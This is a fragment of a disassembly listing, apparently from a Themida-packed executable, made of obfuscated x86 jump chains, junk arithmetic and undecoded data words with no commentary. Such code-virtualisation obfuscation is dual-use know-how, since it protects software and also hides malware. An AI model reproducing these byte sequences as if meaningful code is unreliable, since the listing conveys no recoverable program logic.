		db 0D9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5071DF:				; CODE XREF: Themida_:00514BFFj
		sub	edi, 4537ECB5h
		xor	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		sub	ecx, 4E8A678Eh
		push	ebx
		push	edi
		mov	edi, 78A04B0Bh
		mov	ebx, edi
		pop	edi
		dec	ebx
		sub	ebx, 79A8723Dh
		jmp	loc_50A0C8
; ---------------------------------------------------------------------------
aIS5i		db '‰Ù[]é5›',0
		align 2
aVs		db 'Véì%',0
		align 4


loc_507218:				; CODE XREF: Themida_:005074D3j
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_50BC0A
; ---------------------------------------------------------------------------
		dw 515Ch
		dd 6074D1B9h, 0B0E1811Ch, 81625F43h, 0E71F47F1h, 81D9F749h
		dd 0B52624C9h, 9AF6E938h, 9A050000h, 8314795Ah,	3C8904ECh
		dd 2BBA5224h, 0E924A02Eh, 0CA9Ah
; ---------------------------------------------------------------------------


loc_50725C:				; CODE XREF: Themida_:0050C559j
		or	ebp, 5166586Dh
		jmp	loc_50B8BB
; ---------------------------------------------------------------------------
		db 89h
		dd 0E589242Ch, 4C581h, 0B9510000h, 7C82693Dh, 380DE9h
		dd 24148900h, 733FE6BAh, 3FC28145h, 0E9492D30h,	0D108h
		dd 0E958C728h, 0FFFFF711h, 4EC81h, 2C890000h, 744FBD24h
		dd 0E8896723h, 0BA52575Dh, 4E0B7DE0h, 0F4821FBFh, 5AD701B1h
		dd 0E362692Dh, 5F82924h, 24E36269h, 0FFD56CE9h,	40558FFh
		dd 5000000h, 4,	8B240487h, 0EC812424h, 4, 0E9240C89h, 5E09h
		dd 31243433h, 34332434h, 24248B24h, 4A30F66h, 0E0E99C24h
		dd 830000C3h, 2EE904ECh, 1FFFFBAh, 0D4C581F5h, 5E4C8040h
		dd 0FF5DEB01h, 1EE92434h, 10000BDh, 240C8BC8h, 8704C483h
		dd 0FF5C2404h, 535F2434h, 0C381E389h, 4, 8704C383h, 685C241Ch
		dd 7581h, 0E9240C89h, 0FFFFD238h
; ---------------------------------------------------------------------------


loc_507348:				; CODE XREF: Themida_:005074BEj
		pop	ebx
		push	edx
		jmp	loc_508830
; ---------------------------------------------------------------------------
		db 89h
		dd 5166241Ch, 0CB8856B1h, 240C8B66h, 5602C483h,	0C770E9h
		dd 33EB8000h, 28E95866h, 5D000001h, 0A9BF575Eh,	18A75B7h
		dd 243C8BF8h, 4C481h, 0C5210000h, 8324048Bh, 0E58104C4h
		dd 78BD7838h, 0FFC2D1E9h, 80D7F6FFh, 0EF805AE7h, 8BF8003Eh
		dd 0C483241Ch, 68D80004h, 7B99h, 54241C89h, 54ACE95Bh
		dd 0E6810000h, 710D0A71h, 4ED6F74Eh, 0FDECEE81h, 0F301DFFAh
		dd 4EC835Eh, 9C14E9h
		db 0
; ---------------------------------------------------------------------------


loc_5073D1:				; CODE XREF: Themida_:005100DDj
		mov	eax, 4
		jmp	loc_5140D3
; ---------------------------------------------------------------------------


loc_5073DB:				; CODE XREF: Themida_:00509A2Ej
		add	esi, 4
		sub	esp, 4
		jmp	loc_505E93
; ---------------------------------------------------------------------------
		dd 0B68272BBh, 5BDF018Dh, 42CEC381h, 0FB01554Ch, 42CEEB81h
		dd 34FF554Ch, 89505F24h, 405E0h, 0C0830000h, 24048704h
		dd 2843E9h
		db 0
aNsgi		db '­ég‰',0             ; DATA XREF: Themida_:005028F4o
		dw 8100h
		dd 297371C2h, 0D5895592h, 5A5DE889h, 4244431h, 0E92434FFh
		dd 0B3C6h, 42474FFh, 24048F5Ah,	0B685E95Ch, 0EB81FFFFh
		dd 6978614Ch, 0C381F301h, 6978614Ch, 241C335Eh,	33241C31h
		dd 248B241Ch, 0AF0F6624h, 9C5166C8h, 0FFB65EE9h, 0F3E953FFh
		dd 1FFFFBCh, 2AD4E9C2h,	53520000h, 2DE916B3h
		db 0C2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_507483:				; CODE XREF: Themida_:005153ACj
		push	ebx
		push	13C4h
		mov	[esp], eax
		push	edx
		push	6F8F1AC9h
		jmp	loc_508920
; ---------------------------------------------------------------------------
		db 0Fh
aSk5		db '¶Àéª5',0
		db 0
; ---------------------------------------------------------------------------


loc_50749F:				; CODE XREF: Themida_:005057C3j
		shr	ebp, 3
		xor	ebp, 31F9447Eh
		jmp	loc_508A7F
; ---------------------------------------------------------------------------
aYh		db 'YhÖ',8,0
		dw 0E900h
		dd 0D9BAh
; ---------------------------------------------------------------------------


loc_5074B8:				; CODE XREF: Themida_:00512026j
		sub	ecx, 5D493466h
		jmp	loc_507348
; ---------------------------------------------------------------------------
		db 52h
		dd 3D6F8BBAh, 0E9D03115h, 572Ah
; ---------------------------------------------------------------------------


loc_5074D0:				; CODE XREF: Themida_:00517474j
		pop	ebx
		add	ebx, edi
		jmp	loc_507218
; ---------------------------------------------------------------------------


loc_5074D8:				; CODE XREF: Themida_:00514B46j
		add	esi, 4
		sub	esp, 4
		mov	[esp], esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		xor	bl, al
		jmp	loc_5162C5
; ---------------------------------------------------------------------------
		db 89h
		dd 0BE56242Ch, 59675940h, 525EF589h, 76D432BAh,	0EEFBE9F6h
		dd 0C3800000h, 80EB00F8h, 0E2E9F8EBh, 10000D3h,	34875FFEh
		dd 24248B24h, 9C240420h, 0FFB59AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_507531:				; CODE XREF: Themida_:00504E8Cj
		pop	eax
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_507B62
; ---------------------------------------------------------------------------
		db 5, 68h, 77h
		dd 6F353AB0h, 0E9D6F958h, 118Fh, 0BB535558h, 24712Ah, 55229EBDh
		dd 5BDD019Ch, 22BCE9h, 8EE95C00h
		db 4Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_507567:				; CODE XREF: Themida_:00515139j
		mov	[esp], ebx
		jmp	loc_50E517
; ---------------------------------------------------------------------------
		db 31h
		dd 240C8BC8h, 4C481h, 42680000h, 8900006Bh, 0C8BE2434h
		dd 31169981h, 0C7015EF0h, 7E5AE958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_507592:				; CODE XREF: Themida_:0050DA99j
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_50E212
; ---------------------------------------------------------------------------


loc_5075A6:				; CODE XREF: Themida_:005141ACj
		mov	ecx, 4
		sub	eax, 29605B5h
		sub	eax, 4C53F36h
		add	eax, ecx
		add	eax, 4C53F36h
		add	eax, 29605B5h
		jmp	loc_508167
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 241C8704h, 3BE8E9h
		db 0
; ---------------------------------------------------------------------------


loc_5075D1:				; CODE XREF: Themida_:0050F9B5j
		add	esi, ebx
		jmp	loc_50D9AE
; ---------------------------------------------------------------------------
		dd 125827BDh, 7B0BE92Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5075E2:				; CODE XREF: Themida_:00515581j
		mov	ebp, 4
		sub	ebx, 231E6352h
		add	ebx, ebp
		jmp	loc_50E6B8
; ---------------------------------------------------------------------------
		dd 9B60A9BAh, 384E945h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5075FE:				; CODE XREF: Themida_:00509749j
		add	esp, 4
		jmp	loc_502B05
; ---------------------------------------------------------------------------
		db 29h,	0F8h, 5Fh
		dd 0BB53F801h, 25B35DB6h, 63FCB81h, 0EBC1452Dh,	85F38103h
		dd 13677FFh, 241C8BD8h,	5F04C483h, 0FF1C4709h, 0E9582434h
		dd 0F1B7h, 4C281h, 81550000h, 4ECh, 24148900h, 665CF3BAh
		dd 0FFC2811Bh, 81FFFFFFh, 5D7228F2h, 7E2C17Ch, 0FFEA8142h
		dd 899D976Ch, 2434FFD5h, 4EC835Ah, 89240C89h, 4C181E1h
		dd 81000000h, 4C1h, 34A5E900h, 0C1830000h, 240C8704h, 7DEA815Ch
		dd 2D396E32h, 64EF1E0Fh, 0BE56D001h, 217B29FDh,	8107E6C1h
		dd 5A1F8FC6h, 5EF001A7h, 5A2434FFh, 81E18951h, 4C1h, 4C18100h
		dd 87000000h, 13E9240Ch
		db 0BDh, 2 dup(0FFh)
byte_5076C3	db 0FFh			; DATA XREF: Themida_:00502924o
		dd 48B2434h, 0E944E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5076CE:				; CODE XREF: Themida_:0050E486j
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_508F4A
; ---------------------------------------------------------------------------
		db 89h
		dd 4C581E5h, 81000000h,	4C5h, 242C8700h, 2434FF5Ch, 0E189515Bh
		dd 0FFB59BE9h, 243C31FFh, 0EE08E9h, 24348B00h, 8104C483h
		dd 4C6h, 4EE8100h, 87000000h, 46E92434h, 890000D0h, 5A542414h
		dd 4C281h, 0EA830000h, 4EC8104h, 0E9000000h, 6EC6h, 2E9D7F7h
		db 61h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_507753:				; CODE XREF: Themida_:00508EB8j
		and	eax, ebx
		pop	ebx
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_50D24C
; ---------------------------------------------------------------------------
		dd 57241489h, 0C781E789h, 4, 4EF81h, 0F9E90000h
		db 2Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_50777B:				; CODE XREF: Themida_:00510FE0j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	edi
		push	esp
		pop	edi
		jmp	loc_50F634
; ---------------------------------------------------------------------------
		dd offset dword_4E414C+61Ch
		dw 0E900h
		dd 4B3Bh, 90637A68h, 49E3E969h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50779E:				; CODE XREF: Themida_:0050C5B5j
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	ebp
		push	esp
		jmp	loc_50EE81
; ---------------------------------------------------------------------------
byte_5077B1	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:005028A0o
aScj		db '$écj',0
		align 2


loc_5077BA:				; CODE XREF: Themida_:00505BE8j
		sub	ebx, 0C9F5776h
		neg	ebx
		shl	ebx, 3
		dec	ebx
		add	ebx, 0F5B7BCF9h
		xor	edx, ebx
		pop	ebx
		jmp	loc_5115C7
; ---------------------------------------------------------------------------
		dd 51240489h, 803FB252h, 0CEE9E1C2h, 520000C9h,	0D602E9h
		dd 0E3685300h, 5B225703h, 55FFC383h, 0FB53C0BDh, 0E9BB536Ah
		dd 0F749DC29h, 0D2F381D3h, 0E9585376h, 50DEh
dword_50780C	dd 24048B66h, 16EDE9h, 627F6800h, 4890000h, 5E08924h, 4
					; DATA XREF: Themida_:00502818o
		dd 0DCCDE9h, 81CB2900h,	7538B6C3h, 0D022E93Fh, 0E95BFFFFh
		dd 0A06Eh
; ---------------------------------------------------------------------------


loc_50783C:				; CODE XREF: Themida_:00509402j
		add	eax, ebp
		add	eax, 45FF31FFh
		jmp	loc_50D4E0
; ---------------------------------------------------------------------------


loc_507848:				; CODE XREF: Themida_:0050D142j
		pop	ebp
		add	ecx, ebx
		mov	eax, [ecx]
		pop	ecx
		push	dword ptr [esp]
		mov	ebx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_5058BC
; ---------------------------------------------------------------------------


loc_50786B:				; CODE XREF: Themida_:0050B4BCj
		push	eax
		mov	eax, 12A1092Ah
		not	eax
		jmp	loc_515CF1
; ---------------------------------------------------------------------------


loc_507878:				; CODE XREF: Themida_:0050F9E3j
		mov	[esp], edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		push	2EAh
		mov	[esp], edx
		push	ecx
		jmp	loc_50D6F9
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 2AB87280h, 53D9EB81h, 0DBF7771Fh, 421C381h, 0E381380Bh
		dd 1BFE6621h, 6A04BA52h, 0CA812202h, 7F6F1625h,	4EA814Ah
		dd 314E2C4Ch, 0C3815AD3h, 0D090E10Dh, 0ACE9DD29h, 0C000002Eh
		dd 0E95307E4h, 0FFFFDAD9h
; ---------------------------------------------------------------------------


loc_5078E0:				; CODE XREF: Themida_:0050FDFBj
		add	ebp, ebx
		sub	esp, 4
		mov	[esp], esi
		push	edi
		mov	edi, 9FE73DAh
		mov	esi, edi
		mov	edi, [esp]
		add	esp, 4
		add	ebp, esi
		pop	esi
		sub	ebp, 79651FAAh
		mov	ebx, [esp]
		push	5142h
		mov	[esp], ebp
		jmp	loc_515FE8
; ---------------------------------------------------------------------------
		dw 835Ah
		dd 0F75D04C4h, 263D68D5h, 14890000h, 0FF5A5524h, 0A9E92434h
		db 0B6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50792B:				; CODE XREF: Themida_:0050BD6Dj
		push	32D2715Fh
		pop	edx
		jmp	loc_515F0B
; ---------------------------------------------------------------------------


loc_507936:				; CODE XREF: Themida_:0050B172j
		mov	esi, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_509963
; ---------------------------------------------------------------------------
		db 66h,	53h, 66h
		dd 0F1242C81h, 348B6612h, 2C48324h, 0F1C68166h,	0A55BE912h
		dd 685B0000h, 2888h, 52240C89h,	10456E9h, 0B0506600h, 66C78884h
		dd 0E9F82858h, 0FFFFDAC7h, 885AD530h, 3F9CE9EFh, 3B90000h
		dd 0E93FDC42h, 0FFFFE53Ch
; ---------------------------------------------------------------------------


loc_50798C:				; CODE XREF: Themida_:0050704Bj
		sub	ebx, 34464782h
		add	edi, ebx
		push	dword ptr [esp]
		jmp	loc_50954B
; ---------------------------------------------------------------------------
		dd 0D483F381h, 0DA89197Dh, 318E9h
		db 0
; ---------------------------------------------------------------------------


loc_5079A9:				; CODE XREF: Themida_:005070D6j
		inc	eax
		shr	eax, 6
		shr	eax, 2
		add	eax, 6F7F9FC2h
		sub	edx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_513646
; ---------------------------------------------------------------------------
		db 66h,	0BFh, 0AEh
		dd 0D70166F0h, 0A837E9h
		db 0
; ---------------------------------------------------------------------------


loc_5079D1:				; CODE XREF: Themida_:0050E867j
		xchg	ebp, [esp]
		jmp	loc_50F176
; ---------------------------------------------------------------------------
		db 68h,	7Bh, 25h
		dd 1C890000h, 81E38924h, 4C3h, 4C38100h, 33000000h, 1C31241Ch
		dd 241C3324h, 921BE9h, 24048100h, 4, 8B2434FFh,	0E92414h
		dd 510000F0h, 42474FFh,	525CE9h, 0C9E95300h, 59000097h
		dd 81E68956h, 4C6h, 840AE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_507A2E:				; CODE XREF: Themida_:00507150j
		mov	[esp], ebx
		mov	ebx, 2
		add	ecx, ebx
		push	dword ptr [esp]
		pop	ebx
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_50A73C
; ---------------------------------------------------------------------------
		dd 5F2434FFh, 0A670E9h,	1EA8100h, 0C1000000h, 0E95707E2h
		dd 0FFFFC4E2h, 644C6858h, 0C890000h, 81E18924h,	4C1h, 0FC04E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_507A7E:				; CODE XREF: Themida_:00514F04j
		xchg	edx, edi
		dec	edx
		jmp	loc_50F24D
; ---------------------------------------------------------------------------
		dw 0F901h
		dd 83243C8Bh, 0C8704C4h, 24248B24h, 592434FFh, 0F5C4E9h
		dd 51E68900h, 4B9h, 6161E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_507AAA:				; CODE XREF: Themida_:00512C3Dj
		mov	[esp], eax
		push	1FB1h
		jmp	loc_517717
; ---------------------------------------------------------------------------
		db 42h
		dd 6949E281h, 81425C82h, 0B700ECF2h, 98F28169h,	0E913EA20h
		dd 0FFFFDCB8h
; ---------------------------------------------------------------------------


loc_507AD0:				; CODE XREF: Themida_:00517F6Ej
		add	eax, 352D4B07h
		add	eax, 74530BF2h
		pop	edi
		add	eax, edi
		jmp	loc_50C8B4
; ---------------------------------------------------------------------------
		dw 8159h
		dd 0FE3E37CBh, 0A3CB8152h, 81586B42h, 0AE5DA8E3h, 0BBCB812Fh
		dd 0F700AF46h, 54EB81DBh, 0E9DD5469h, 6198h, 9668D830h
		dd 8900005Ch, 50B7241Ch, 0C018E780h, 0E7C006E7h, 84F78003h
		dd 0D1E9F800h, 81FFFFC6h, 2C5h,	2F41E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_507B32:				; CODE XREF: Themida_:00508DF3j
		xor	eax, 0BA43A48Ch
		add	ebp, eax
		pop	eax
		push	2814h
		mov	[esp], ebx
		jmp	loc_50B4B9
; ---------------------------------------------------------------------------
		db 89h
		dd 14A5E9E5h, 0C4810000h, 4, 76E1E957h,	0D7000000h, 9D73E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_507B62:				; CODE XREF: Themida_:00507538j
		mov	ebp, esp
		jmp	loc_50DE91
; ---------------------------------------------------------------------------


loc_507B69:				; CODE XREF: Themida_:0050D272j
		add	edi, edx
		add	edi, 627760A7h
		pop	edx
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		push	ecx
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_50A704
; ---------------------------------------------------------------------------
		dd 0EDD0E950h, 0E95EFFFFh, 4F10h, 0B745E95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_507B9E:				; CODE XREF: Themida_:005058BEj
		push	esp
		push	dword ptr [esp]
		pop	ebx
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		add	ebx, 4
		jmp	loc_513C99
; ---------------------------------------------------------------------------


loc_507BC0:				; CODE XREF: Themida_:0050B163j
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_503CC8
; ---------------------------------------------------------------------------
		db 83h
		dd 3C8704C7h, 12CE924h
		db 1, 0
; ---------------------------------------------------------------------------


loc_507BDE:				; CODE XREF: Themida_:00514C9Aj
		push	edi
		mov	edi, 71C5228Bh
		sub	edx, edi
		pop	edi
		sub	edx, 4BE874A6h
		not	edx
		add	edx, 61C50174h
		xor	ebx, edx
		pop	edx
		shr	ebx, 3
		and	ebx, 72635F8Dh
		xor	ebx, 2404E85h
		sub	edx, 64D1C40h
		add	edx, ebx
		add	edx, 64D1C40h
		jmp	loc_512D25
; ---------------------------------------------------------------------------
		dw 2D66h
		dd 56634CBh, 5166465Eh,	0FFF156E9h, 0E9EB89FFh,	0FFFFF5D9h
		dd 81E78957h, 4C7h, 4C78300h, 0E9243C87h, 386Fh, 0BA52h
		dd 0BE90000h
		db 4, 2	dup(0)
; ---------------------------------------------------------------------------


loc_507C4F:				; CODE XREF: Themida_:0050FBC0j
		pop	ecx
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_50560A
; ---------------------------------------------------------------------------
aS3l		db '[é3L',0
		db 0
; ---------------------------------------------------------------------------


loc_507C67:				; CODE XREF: Themida_:0050C938j
		mov	esp, [esp]
		push	3DA6h
		jmp	loc_51515D
; ---------------------------------------------------------------------------
		dd 587CBB53h, 814374D6h, 0CD18BDE3h, 6F33E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_507C86:				; CODE XREF: Themida_:00505E7Ej
		sub	ecx, 21CD0291h
		dec	ecx
		jmp	loc_514B57
; ---------------------------------------------------------------------------


loc_507C92:				; CODE XREF: Themida_:00515870j
		pop	ecx
		jmp	loc_51335C
; ---------------------------------------------------------------------------
		dd 0E904C683h, 5EA2h
; ---------------------------------------------------------------------------


loc_507CA0:				; CODE XREF: Themida_:0050A71Aj
		add	ebp, 52E1255Fh
		jmp	loc_512C88
; ---------------------------------------------------------------------------
		db 81h
		dd 0D15047F3h, 28BD0568h, 4E91421h, 550000B7h, 0FFD341E9h
		dd 90BE5BFFh, 29912EE5h, 0EA685AD6h, 8900005Dh,	0E268241Ch
		dd 5B0F9A1Eh, 0F5FAC381h, 0F3814635h, 56067CA1h, 3E11B850h
		dd 0B9E91E87h, 810000E0h, 4C6h,	4EE8300h, 5C243487h, 81240489h
		dd 4ECh, 0CC1DE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_507D0A:				; CODE XREF: Themida_:00510167j
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_50D02A
; ---------------------------------------------------------------------------


loc_507D13:				; CODE XREF: Themida_:00506FA0j
		mov	ebx, 1814280Ch
		jmp	loc_5149AF
; ---------------------------------------------------------------------------


loc_507D1D:				; CODE XREF: Themida_:0050BC2Ej
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_517B7F
; ---------------------------------------------------------------------------
		dd 0FFAD9EE9h, 0EB355AFFh, 17F3F77h, 336858C7h,	89000070h
		dd 4B82404h, 29000000h,	24048BC7h, 8704C483h, 248B243Ch
		dd 24148924h, 0AEE9E289h, 5C0000F6h, 5E9D800h, 810000A7h
		dd 1F4350C6h, 81CE292Fh, 1F4350EEh, 0EE81592Fh,	3E15F872h
		dd 5005EEC1h, 7881EEB8h, 58C629CBh, 0F3D7E9h
		db 0
; ---------------------------------------------------------------------------


loc_507D89:				; CODE XREF: Themida_:00502BFCj
		add	esp, 4
		sub	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], esp
		jmp	loc_503EAE
; ---------------------------------------------------------------------------
a0S2		db '0Ðé2Ù',0
		dw 5000h
		dd 8904EC83h, 0CA882414h, 0DBE9D488h
		db 0C0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_507DBB:				; CODE XREF: Themida_:005061E8j
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 53A65F10h
		mov	ebx, 58C3D1EEh
		jmp	loc_51521D
; ---------------------------------------------------------------------------
		db 5
aVvSI		db 'vV',0Bh,';)Øé¶©',0
		dw 8100h
		dd 58611DEEh, 4E07E956h
		db 2 dup(0)
word_507DEA	dw 34FFh		; DATA XREF: Themida_:00502A5Co
		dd 2434FF24h, 8124048Bh, 4C4h, 0EAF3E900h, 0E953FFFFh
		dd 0BD75h
dword_507E04	dd 240C8B66h, 250F68h, 24348900h, 7004E954h, 0E6890000h
					; DATA XREF: Themida_:005029A4o
		dd 4C681h, 0C6830000h, 24343304h, 33243431h, 815C2434h
		dd 4C4h, 0AC95E900h, 0CA80FFFFh, 6EA8095h, 285AD528h, 46E959EEh
		dd 68FFFFE9h, 4, 59C80159h, 405h, 24048700h, 1DBF575Ch
		dd 12AA331h, 0EB815FFBh, 42F1105Bh, 6806E9h, 24348900h
		dd 28E0BF57h, 0B4E91AF6h, 55000042h, 0F42632BDh, 6EDC167h
		dd 83CFED81h, 0EA81B9D9h, 7F4E6D7Ch, 0C281EA29h, 7F4E6D7Ch
		dd 53DA295Dh, 0FFE841E9h, 241C8BFFh, 0AE39E9h, 4BA00h
		dd 0D1E90000h, 29FFFFB3h, 0EA0158C5h, 5D2434FFh, 0B417E9h
		dd 71E98000h, 0E941F180h, 0FFFFC300h
; ---------------------------------------------------------------------------


loc_507ECC:				; CODE XREF: Themida_:0050A8C6j
		sub	edi, 1
		sub	edi, 8DB31D7Dh
		jmp	loc_505053
; ---------------------------------------------------------------------------
		db 0BEh, 4, 0
		dd 0B8500000h, 7D905A34h, 4CF0C181h, 0C1011B87h, 4CF0E981h
		dd 6BE91B87h
		db 47h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_507EFB:				; CODE XREF: Themida_:00514CF1j
		mov	[esp], ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_514255
; ---------------------------------------------------------------------------
		dw 148Bh
aRszs		db '$R金',0
		db 0
; ---------------------------------------------------------------------------


loc_507F17:				; CODE XREF: Themida_:00517BF8j
		push	ecx
		jmp	loc_50A651
; ---------------------------------------------------------------------------


loc_507F1D:				; CODE XREF: Themida_:00505FA9j
		pop	edx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	dword ptr [edi+eax*4]
		push	ebp
		jmp	loc_514DA3
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 515DEB21h, 1B08E9h
		db 0
; ---------------------------------------------------------------------------


loc_507F3D:				; CODE XREF: Themida_:0050FC06j
		shl	edi, 1
		shr	edi, 5
		neg	edi
		jmp	loc_511D50
; ---------------------------------------------------------------------------
		db 5Bh,	53h, 0E9h
		dd 0BF8h
dword_507F50	dd 240C8B66h, 81E18951h, 4C1h, 28BD5500h, 0D164345Eh, 2599E9E5h
					; DATA XREF: Themida_:005029D8o
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_507F6A:				; CODE XREF: Themida_:0050FFA8j
		xchg	edi, [esp]
		mov	esp, [esp]
		or	eax, eax
		jz	loc_50BDB2
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		jmp	loc_5125EE
; ---------------------------------------------------------------------------
		db 0F7h
		dd 505540D0h, 0FEF3E9h,	8BD02900h, 89532414h, 19968E3h
		dd 0C890000h, 4B924h, 0CB010000h, 4C38359h, 2474FF53h
		dd 2434FF04h, 0BC50E9h,	0D3ED8100h, 119A904h, 0D3C581F5h
		dd 0E919A904h, 16BEh, 1544BE56h, 48E97662h
		db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_507FD3:				; CODE XREF: Themida_:00517A25j
		push	edi
		mov	edi, offset word_4D905A
		xor	ebx, edi
		pop	edi
		add	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_50E67B
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 0ED0C4DBDh, 4FBA5216h, 312ADB6Fh, 8DE95AD5h,	5000005Ch
		dd 405E089h, 0E9000000h, 5C16h,	148B5E52h, 5B8EE924h, 0ED810000h
		dd 4, 8B242C87h, 2C892424h, 4CAB6824h, 685D1477h, 3838h
		dd 68243489h, 5BEAh, 0BA241489h, 43766A30h, 8108EAC1h
		dd 522CC7CAh, 0CA16E936h, 0CA290000h, 815AD189h, 0A008D7C9h
		dd 0E955413Fh, 81BEh, 0F800F104h, 44E9F12Ch, 1FFFFE8h
		dd 2C3358C5h, 242C3124h, 0E9242C33h, 72F4h, 8958C301h
		dd 0F5815BDDh, 748C243Ch, 73F16852h, 34FF5DD2h,	0C4835A24h
		dd 0EA8104h, 92BBC28h, 0BB06E9D5h, 48F0000h, 24048124h
		dd 4, 7660E9h, 24048B00h, 0E904C483h, 31C0h, 53241489h
		dd 0FFCB06E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5080D1:				; CODE XREF: Themida_:0050715Bj
		mov	[esp], edx
		push	31C21AAFh
		pop	edx
		push	edi
		mov	edi, 0E04FC206h
		sub	edx, edi
		pop	edi
		mov	eax, edx
		pop	edx
		xor	eax, 0E3316DFh
		push	0
		sub	[esp], eax
		jmp	loc_503314
; ---------------------------------------------------------------------------
		dd 0EAC1425Ah, 96F28107h, 8900A3A2h, 0E9815AD3h, 5FD82BC2h
		dd 0C181D901h, 5FD82BC2h, 0D4FAE9h, 81C58100h, 29D957ADh
		dd 0C2015DE8h, 5624048Bh, 1A28E9h, 0E9E68900h, 0C528h
; ---------------------------------------------------------------------------


loc_508134:				; CODE XREF: Themida_:00502EB5j
		pop	esp
		push	ecx
		mov	ecx, esp
		jmp	loc_5100D6
; ---------------------------------------------------------------------------


loc_50813D:				; CODE XREF: Themida_:0051792Aj
		mov	[esp], ecx
		push	1206h
		mov	[esp], ebx
		push	ecx
		mov	ch, dl
		mov	bl, ch
		pop	ecx
		jmp	loc_510976
; ---------------------------------------------------------------------------
		db 83h
		dd 600404C4h, 602CD028h, 0F368E9h
		db 0
; ---------------------------------------------------------------------------


loc_508161:				; CODE XREF: Themida_:0050FBA8j
		push	ecx
		jmp	loc_512B06
; ---------------------------------------------------------------------------


loc_508167:				; CODE XREF: Themida_:005075C1j
		pop	ecx
		xchg	eax, [esp]
		pop	esp
		jmp	loc_514CEC
; ---------------------------------------------------------------------------
		db 5, 0F6h, 30h
		dd 0C529C840h, 0BE565B58h, 2, 786EED81h, 0F50150B4h, 786EC581h
		dd 555E50B4h, 42474FFh,	0FFBF5EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_508199:				; CODE XREF: Themida_:0050BA9Bj
		sub	edx, ecx
		pop	ecx
		pop	ebp
		jmp	loc_51248D
; ---------------------------------------------------------------------------
		dw 431h
		dd 24043324h, 0F7240431h, 4E92E9D0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5081B2:				; CODE XREF: Themida_:00515A0Bj
		mov	edi, [esp]
		add	esp, 4
		push	eax
		mov	eax, 4BEF7EECh
		add	eax, 21D6C70Fh
		xor	edx, eax
		pop	eax
		and	eax, edx
		pop	edx
		shr	eax, 0Ah
		xor	eax, ecx
		push	eax
		jmp	loc_5044A3
; ---------------------------------------------------------------------------
		db 89h
		dd 0E8E92404h, 68000044h, 6271h, 68240C89h, 2CCCD612h
		dd 0E9240C8Bh, 4417h, 1A08E95Bh, 14890000h, 57D26824h
		dd 4890000h, 4F7EB824h,	74E93204h, 5AFFFFFDh, 0B850h, 0E8290000h
